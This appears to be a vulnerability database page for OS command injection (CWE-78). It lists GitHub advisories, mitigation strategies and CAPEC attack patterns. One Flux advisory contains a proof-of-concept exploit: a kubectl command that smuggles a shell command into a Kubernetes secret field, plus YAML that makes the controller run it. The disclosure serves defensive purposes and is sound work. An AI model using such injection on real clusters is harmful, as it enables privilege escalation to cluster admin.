CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8362 vulnerabilities reference this CWE, most recent first.
GHSA-34WF-7H8G-XJHV
Vulnerability from github – Published: 2024-11-15 21:30 – Updated: 2024-12-03 18:31An arbitrary file download vulnerability in the component /Doc/DownloadFile of NUS-M9 ERP Management Software v3.0.0 allows attackers to download arbitrary files and access sensitive information via a crafted interface request.
{
"affected": [],
"aliases": [
"CVE-2024-44759"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T20:15:20Z",
"severity": "HIGH"
},
"details": "An arbitrary file download vulnerability in the component /Doc/DownloadFile of NUS-M9 ERP Management Software v3.0.0 allows attackers to download arbitrary files and access sensitive information via a crafted interface request.",
"id": "GHSA-34wf-7h8g-xjhv",
"modified": "2024-12-03T18:31:02Z",
"published": "2024-11-15T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44759"
},
{
"type": "WEB",
"url": "https://github.com/WarmBrew/web_vul/blob/main/CVES/CVE-2024-44759.md"
},
{
"type": "WEB",
"url": "https://github.com/WarmBrew/web_vul/blob/main/M9ERP/M9ERP-filedown-Doc.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-352J-2X5M-WF94
Vulnerability from github – Published: 2022-07-05 00:00 – Updated: 2022-07-16 00:00HOME SPOT CUBE2 V102 contains an OS command injection vulnerability due to improper processing of data received from DHCP server. An adjacent attacker may execute an arbitrary OS command on the product if a malicious DHCP server is placed on the WAN side of the product.
{
"affected": [],
"aliases": [
"CVE-2022-33948"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-04T02:15:00Z",
"severity": "HIGH"
},
"details": "HOME SPOT CUBE2 V102 contains an OS command injection vulnerability due to improper processing of data received from DHCP server. An adjacent attacker may execute an arbitrary OS command on the product if a malicious DHCP server is placed on the WAN side of the product.",
"id": "GHSA-352j-2x5m-wf94",
"modified": "2022-07-16T00:00:31Z",
"published": "2022-07-05T00:00:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33948"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN41017328/index.html"
},
{
"type": "WEB",
"url": "https://www.au.com/support/service/mobile/guide/wlan/home_spot_cube_2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-354F-HF2X-4XMQ
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:35A command injection have been found in YouPHPTube Encoder. A successful attack could allow an attacker to compromise the server. Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube. The parameter base64Url in /objects/getImage.php is vulnerable to a command injection attack.
{
"affected": [],
"aliases": [
"CVE-2019-5127"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-25T18:15:00Z",
"severity": "CRITICAL"
},
"details": "A command injection have been found in YouPHPTube Encoder. A successful attack could allow an attacker to compromise the server. Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube. The parameter base64Url in /objects/getImage.php is vulnerable to a command injection attack.",
"id": "GHSA-354f-hf2x-4xmq",
"modified": "2024-04-04T02:35:05Z",
"published": "2022-05-24T16:59:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5127"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-354W-98CQ-W4FJ
Vulnerability from github – Published: 2023-12-14 18:30 – Updated: 2023-12-14 18:30Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 on DDMC contain an OS command injection vulnerability in an admin operation. A local high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the managed system application's underlying OS with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker on a managed system of DDMC.
{
"affected": [],
"aliases": [
"CVE-2023-48668"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-14T16:15:50Z",
"severity": "HIGH"
},
"details": "\nDell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 on DDMC contain an OS command injection vulnerability in an admin operation. A local high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the managed system application\u0027s underlying OS with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker on a managed system of DDMC. \n\n",
"id": "GHSA-354w-98cq-w4fj",
"modified": "2023-12-14T18:30:20Z",
"published": "2023-12-14T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48668"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000220264/dsa-2023-412-dell-technologies-powerprotect-security-update-for-multiple-security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-358Q-VF8C-9VQR
Vulnerability from github – Published: 2024-10-24 21:31 – Updated: 2024-10-28 21:30EnGenius ENH1350EXT A8J-ENH1350EXT devices through 3.9.3.2_c1.9.51 allow (blind) OS Command Injection via shell metacharacters to the Ping or Speed Test utility. During the time of initial setup, the device creates an open unsecured network whose admin panel is configured with the default credentials of admin/admin. An unauthorized attacker in proximity to the Wi-Fi network can exploit this window of time to execute arbitrary OS commands with root-level permissions.
{
"affected": [],
"aliases": [
"CVE-2024-45242"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-24T20:15:04Z",
"severity": "HIGH"
},
"details": "EnGenius ENH1350EXT A8J-ENH1350EXT devices through 3.9.3.2_c1.9.51 allow (blind) OS Command Injection via shell metacharacters to the Ping or Speed Test utility. During the time of initial setup, the device creates an open unsecured network whose admin panel is configured with the default credentials of admin/admin. An unauthorized attacker in proximity to the Wi-Fi network can exploit this window of time to execute arbitrary OS commands with root-level permissions.",
"id": "GHSA-358q-vf8c-9vqr",
"modified": "2024-10-28T21:30:34Z",
"published": "2024-10-24T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45242"
},
{
"type": "WEB",
"url": "https://github.com/actuator/cve/blob/main/Engenius/CVE-2024-45242"
},
{
"type": "WEB",
"url": "https://github.com/actuator/cve/blob/main/Engenius/CVE-2024-45242_Extended_Report.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3595-8FW7-QJ47
Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-26 12:00An OS command injection vulnerability exists in the web_server /action/import_authorized_keys/ functionality of Robustel R1510 3.1.16 and 3.3.0. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-34850"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-25T17:15:00Z",
"severity": "HIGH"
},
"details": "An OS command injection vulnerability exists in the web_server /action/import_authorized_keys/ functionality of Robustel R1510 3.1.16 and 3.3.0. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.",
"id": "GHSA-3595-8fw7-qj47",
"modified": "2022-10-26T12:00:29Z",
"published": "2022-10-25T19:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34850"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1578"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35C4-JFF8-4JGV
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-05-24 17:49Inim Electronics SmartLiving SmartLAN/G/SI <=6.x suffers from an authenticated remote command injection vulnerability. The issue exist due to the 'par' POST parameter not being sanitized when called with the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit LSB executable, ARM) is calling the 'sh' executable via the system() function to issue a command using the mailx service and its vulnerable string format parameter allowing for OS command injection with root privileges. An attacker can remotely execute system commands as the root user using default credentials and bypass access controls in place.
{
"affected": [],
"aliases": [
"CVE-2020-21992"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-29T15:15:00Z",
"severity": "HIGH"
},
"details": "Inim Electronics SmartLiving SmartLAN/G/SI \u003c=6.x suffers from an authenticated remote command injection vulnerability. The issue exist due to the \u0027par\u0027 POST parameter not being sanitized when called with the \u0027testemail\u0027 module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit LSB executable, ARM) is calling the \u0027sh\u0027 executable via the system() function to issue a command using the mailx service and its vulnerable string format parameter allowing for OS command injection with root privileges. An attacker can remotely execute system commands as the root user using default credentials and bypass access controls in place.",
"id": "GHSA-35c4-jff8-4jgv",
"modified": "2022-05-24T17:49:06Z",
"published": "2022-05-24T17:49:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21992"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5544.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-35M2-M3CH-FGH4
Vulnerability from github – Published: 2025-04-20 03:50 – Updated: 2025-04-28 15:31GNU Mailman 2.1.39, as bundled in cPanel (and WHM), allows unauthenticated attackers to execute arbitrary OS commands via shell metacharacters in an email Subject line.
{
"affected": [],
"aliases": [
"CVE-2025-43920"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-20T01:15:45Z",
"severity": "MODERATE"
},
"details": "GNU Mailman 2.1.39, as bundled in cPanel (and WHM), allows unauthenticated attackers to execute arbitrary OS commands via shell metacharacters in an email Subject line.",
"id": "GHSA-35m2-m3ch-fgh4",
"modified": "2025-04-28T15:31:38Z",
"published": "2025-04-20T03:50:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43920"
},
{
"type": "WEB",
"url": "https://code.launchpad.net/~mailman-coders/mailman/2.1"
},
{
"type": "WEB",
"url": "https://github.com/0NYX-MY7H/CVE-2025-43920"
},
{
"type": "WEB",
"url": "https://github.com/cpanel/mailman2-python3"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2025/04/21/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-35QP-VX95-WWWF
Vulnerability from github – Published: 2026-01-20 15:33 – Updated: 2026-01-20 15:33A Command Injection vulnerability in Zoom Node Multimedia Routers (MMRs) before version 5.2.1716.0 may allow a meeting participant to conduct remote code execution of the MMR via network access.
{
"affected": [],
"aliases": [
"CVE-2026-22844"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T14:16:21Z",
"severity": "CRITICAL"
},
"details": "A Command Injection vulnerability in Zoom Node Multimedia Routers (MMRs) before version 5.2.1716.0 may allow a meeting participant to conduct remote code execution of the MMR via network access.",
"id": "GHSA-35qp-vx95-wwwf",
"modified": "2026-01-20T15:33:13Z",
"published": "2026-01-20T15:33:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22844"
},
{
"type": "WEB",
"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-26001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35RF-V2JV-GFG7
Vulnerability from github – Published: 2021-11-15 17:35 – Updated: 2021-11-12 18:57Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.
Impact
Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.
Exploit
To exploit the command injection, first we create a secret with a shell command:
kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"
Then we create a Service Account that refers to the above Secret:
apiVersion: v1
kind: ServiceAccount
metadata:
name: exploit
namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token
And finally a Kustomization that runs under the above Service Account:
apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
name: exploit
namespace: default
spec:
interval: 5m
path: "./deploy/"
sourceRef:
kind: GitRepository
name: app
serviceAccountName: exploit
When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.
Patches
This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.
Workarounds
To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-sa
spec:
validationFailureAction: enforce
background: false
rules:
- name: validate-sa
match:
resources:
kinds:
- ServiceAccount
namespaces:
- tenant1
- tenant2
subjects:
- kind: User
name: some@tenant1.com
- kind: User
name: some@tenant2.com
- kind: ServiceAccount
name: kustomize-controller
namespace: flux-system
- kind: ServiceAccount
name: helm-controller
namespace: flux-system
validate:
message: "Invalid service account"
pattern:
X(secrets): "*?"
References
Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.
For more information
If you have any questions or comments about this advisory: * Open an issue in kustomize-controller repository
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/fluxcd/kustomize-controller"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41254"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-12T18:57:27Z",
"nvd_published_at": "2021-11-12T18:15:00Z",
"severity": "HIGH"
},
"details": "Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n name: exploit\n namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n name: exploit\n namespace: default\nspec:\n interval: 5m\n path: \"./deploy/\"\n sourceRef:\n kind: GitRepository\n name: app\n serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: restrict-sa\nspec:\n validationFailureAction: enforce\n background: false\n rules:\n - name: validate-sa\n match:\n resources:\n kinds:\n - ServiceAccount\n namespaces:\n - tenant1\n - tenant2\n subjects:\n - kind: User\n name: some@tenant1.com\n - kind: User\n name: some@tenant2.com\n - kind: ServiceAccount\n name: kustomize-controller\n namespace: flux-system\n - kind: ServiceAccount\n name: helm-controller\n namespace: flux-system\n validate:\n message: \"Invalid service account\"\n pattern:\n X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n",
"id": "GHSA-35rf-v2jv-gfg7",
"modified": "2021-11-12T18:57:27Z",
"published": "2021-11-15T17:35:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41254"
},
{
"type": "PACKAGE",
"url": "https://github.com/fluxcd/kustomize-controller"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Privilege escalation to cluster admin on multi-tenant environments"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.